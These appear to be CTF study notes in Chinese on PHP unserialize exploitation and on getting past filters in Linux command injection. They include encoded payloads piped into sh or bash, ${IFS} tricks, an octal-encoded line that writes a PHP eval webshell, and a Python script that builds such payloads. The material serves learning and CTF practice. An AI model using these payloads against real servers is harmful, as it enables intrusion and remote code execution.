Php

php

反序列化 #

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

<?php
class test{
    public $a;
    public $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

输出

O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

序列化后字符串的格式

O:4:"对象名":变量数量:{s:变量名长度:"变量名";s:变量值长度:"变量值";s:1:"b";s:8:"laoshizi";}

修饰符 #

如果变量前的修饰符是protected或private,先将代码的修饰符改为public进行序列化,再做修改

private           =>%00class_name%00name    长度+类名长度+2
protected         =>%00*%00name             长度+3

php7.1+不敏感

常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

字符串逃逸 #

<?php
function repl($s){
    return str_replace('flag', 'hack!', $s);
}
class A{
    public $user='admin';
    public $pwd='123456';
}
$a=new A();
$u=serialize($a);
echo $u.'            ';
$b=unserialize($u);
echo $b->user.'          '.$b->pwd;
?>

输出,没问题

...

php命令执行linux绕过

在php中虽然有命令执行,但是过滤了很多,会让我们的难度变大

空格 #

${IFS}
$IFS$9
>
<>

inode #

打印文件的inode号

ls -i
tac `find / -inum incode号`

在获取到inode号配合可以查找文件及所有子目录文件并打印

cat `find . -inum inode号`

在linux 会优先执行反引号中的内容

tee #

欲执行命令 | tee 回显文件
如
l\s / | tee 1.txt

再访问1.txt


关键字被过滤 在中间加\

cat #

cat、tac、more、less、head、tail、nl、sed、sort、uniq

编码 #

用base64,解密并执行

echo bHMgLWwK | base64 -d | sh
echo "636174202f666c6167" | xxd -r -p|bash
#ascii的八进制编码
$(printf "\154\163")   -->ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0

写shell
${printf,\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"}


# 脚本
def encodeOctal(str):

    # 只显示八进制
    print("八进制")
    for i in str:
        print(oct(ord(i)).replace("0o", "\\"), end="")

    # 显示Linux八进制payload
    print("\nlinux payload")
    payload = '$(printf${IFS}"'
    for i in str:
        payload += oct(ord(i)).replace("0o", "\\")

    payload += '")'
    print(payload)


if __name__ == '__main__':
    str = "cat flag_1s_here/flag_831b69012c67b35f.php"
    encodeOctal(str)

分隔符

...